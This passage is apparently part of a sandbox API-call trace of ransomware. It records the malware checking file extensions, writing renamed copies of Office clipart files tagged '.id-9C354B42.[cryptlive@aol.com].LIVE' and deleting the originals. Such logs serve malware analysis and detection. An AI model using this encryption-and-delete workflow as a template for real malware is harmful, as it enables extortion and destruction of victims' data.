Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0145.967] lstrlenW (lpString=".jpg") returned 4 [0145.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.968] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.968] lstrlenW (lpString="HH00688_.WMF") returned 12 [0145.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.968] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7084) returned 1 [0145.968] CloseHandle (hObject=0x39c) returned 1 [0145.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0145.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.969] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.969] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.972] GetLastError () returned 0x0 [0145.972] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1bac, lpOverlapped=0x0) returned 1 [0145.974] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0145.975] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.975] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.975] SetEndOfFile (hFile=0x3dc) returned 1 [0145.975] CloseHandle (hObject=0x3dc) returned 1 [0145.975] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.975] SetEndOfFile (hFile=0x39c) returned 1 [0145.977] CloseHandle (hObject=0x39c) returned 1 [0145.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0145.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.978] lstrlenW (lpString=".doc") returned 4 [0145.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.978] lstrlenW (lpString=".docx") returned 5 [0145.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.978] lstrlenW (lpString=".pdf") returned 4 [0145.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.978] lstrlenW (lpString=".xls") returned 4 [0145.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.978] lstrlenW (lpString=".xlsx") returned 5 [0145.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.979] lstrlenW (lpString=".ppt") returned 4 [0145.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString=".zip") returned 4 [0145.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.979] lstrlenW (lpString=".rar") returned 4 [0145.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString=".bz2") returned 4 [0145.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString=".7z") returned 3 [0145.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString=".dbf") returned 4 [0145.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString=".1cd") returned 4 [0145.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString=".jpg") returned 4 [0145.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.979] lstrlenW (lpString=".doc") returned 4 [0145.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString=".docx") returned 5 [0145.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.979] lstrlenW (lpString=".pdf") returned 4 [0145.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.979] lstrlenW (lpString=".xls") returned 4 [0145.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.979] lstrlenW (lpString=".xlsx") returned 5 [0145.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.979] lstrlenW (lpString=".ppt") returned 4 [0145.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.980] lstrlenW (lpString=".zip") returned 4 [0145.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.980] lstrlenW (lpString=".rar") returned 4 [0145.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.980] lstrlenW (lpString=".bz2") returned 4 [0145.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.980] lstrlenW (lpString=".7z") returned 3 [0145.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.980] lstrlenW (lpString=".dbf") returned 4 [0145.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.980] lstrlenW (lpString=".1cd") returned 4 [0145.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0145.980] lstrlenW (lpString=".jpg") returned 4 [0145.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.980] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.980] lstrlenW (lpString="HH00693_.WMF") returned 12 [0145.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.981] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7098) returned 1 [0145.981] CloseHandle (hObject=0x39c) returned 1 [0145.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0145.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.981] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.981] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.982] GetLastError () returned 0x0 [0145.982] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1bba, lpOverlapped=0x0) returned 1 [0145.984] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0145.985] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.985] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.985] SetEndOfFile (hFile=0x3dc) returned 1 [0145.985] CloseHandle (hObject=0x3dc) returned 1 [0145.985] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.985] SetEndOfFile (hFile=0x39c) returned 1 [0145.987] CloseHandle (hObject=0x39c) returned 1 [0145.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0145.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.988] lstrlenW (lpString=".doc") returned 4 [0145.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.988] lstrlenW (lpString=".docx") returned 5 [0145.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.988] lstrlenW (lpString=".pdf") returned 4 [0145.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.988] lstrlenW (lpString=".xls") returned 4 [0145.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.988] lstrlenW (lpString=".xlsx") returned 5 [0145.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.988] lstrlenW (lpString=".ppt") returned 4 [0145.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.988] lstrlenW (lpString=".zip") returned 4 [0145.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.988] lstrlenW (lpString=".rar") returned 4 [0145.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".bz2") returned 4 [0145.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".7z") returned 3 [0145.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString=".dbf") returned 4 [0145.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString=".1cd") returned 4 [0145.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString=".jpg") returned 4 [0145.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString=".doc") returned 4 [0145.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".docx") returned 5 [0145.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.989] lstrlenW (lpString=".pdf") returned 4 [0145.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".xls") returned 4 [0145.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.989] lstrlenW (lpString=".xlsx") returned 5 [0145.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.989] lstrlenW (lpString=".ppt") returned 4 [0145.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.989] lstrlenW (lpString=".zip") returned 4 [0145.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.989] lstrlenW (lpString=".rar") returned 4 [0145.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".bz2") returned 4 [0145.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.989] lstrlenW (lpString=".7z") returned 3 [0145.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.990] lstrlenW (lpString=".dbf") returned 4 [0145.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.990] lstrlenW (lpString=".1cd") returned 4 [0145.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0145.990] lstrlenW (lpString=".jpg") returned 4 [0145.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.990] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.990] lstrlenW (lpString="HH01013_.WMF") returned 12 [0145.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.991] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2848) returned 1 [0145.991] CloseHandle (hObject=0x39c) returned 1 [0145.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0145.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.992] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.992] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.992] GetLastError () returned 0x0 [0145.992] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xb20, lpOverlapped=0x0) returned 1 [0145.994] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0145.995] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.995] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.995] SetEndOfFile (hFile=0x3dc) returned 1 [0145.995] CloseHandle (hObject=0x3dc) returned 1 [0145.995] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.190] SetEndOfFile (hFile=0x39c) returned 1 [0146.192] CloseHandle (hObject=0x39c) returned 1 [0146.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0146.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.204] lstrlenW (lpString=".doc") returned 4 [0146.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.204] lstrlenW (lpString=".docx") returned 5 [0146.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.204] lstrlenW (lpString=".pdf") returned 4 [0146.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.204] lstrlenW (lpString=".xls") returned 4 [0146.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.204] lstrlenW (lpString=".xlsx") returned 5 [0146.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.204] lstrlenW (lpString=".ppt") returned 4 [0146.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.204] lstrlenW (lpString=".zip") returned 4 [0146.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.204] lstrlenW (lpString=".rar") returned 4 [0146.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.204] lstrlenW (lpString=".bz2") returned 4 [0146.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.204] lstrlenW (lpString=".7z") returned 3 [0146.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".dbf") returned 4 [0146.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".1cd") returned 4 [0146.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".jpg") returned 4 [0146.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".doc") returned 4 [0146.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString=".docx") returned 5 [0146.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.205] lstrlenW (lpString=".pdf") returned 4 [0146.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString=".xls") returned 4 [0146.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.205] lstrlenW (lpString=".xlsx") returned 5 [0146.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.205] lstrlenW (lpString=".ppt") returned 4 [0146.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".zip") returned 4 [0146.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.205] lstrlenW (lpString=".rar") returned 4 [0146.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString=".bz2") returned 4 [0146.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.205] lstrlenW (lpString=".7z") returned 3 [0146.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.205] lstrlenW (lpString=".dbf") returned 4 [0146.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.206] lstrlenW (lpString=".1cd") returned 4 [0146.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0146.206] lstrlenW (lpString=".jpg") returned 4 [0146.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.206] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.206] lstrlenW (lpString="HH01065_.WMF") returned 12 [0146.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 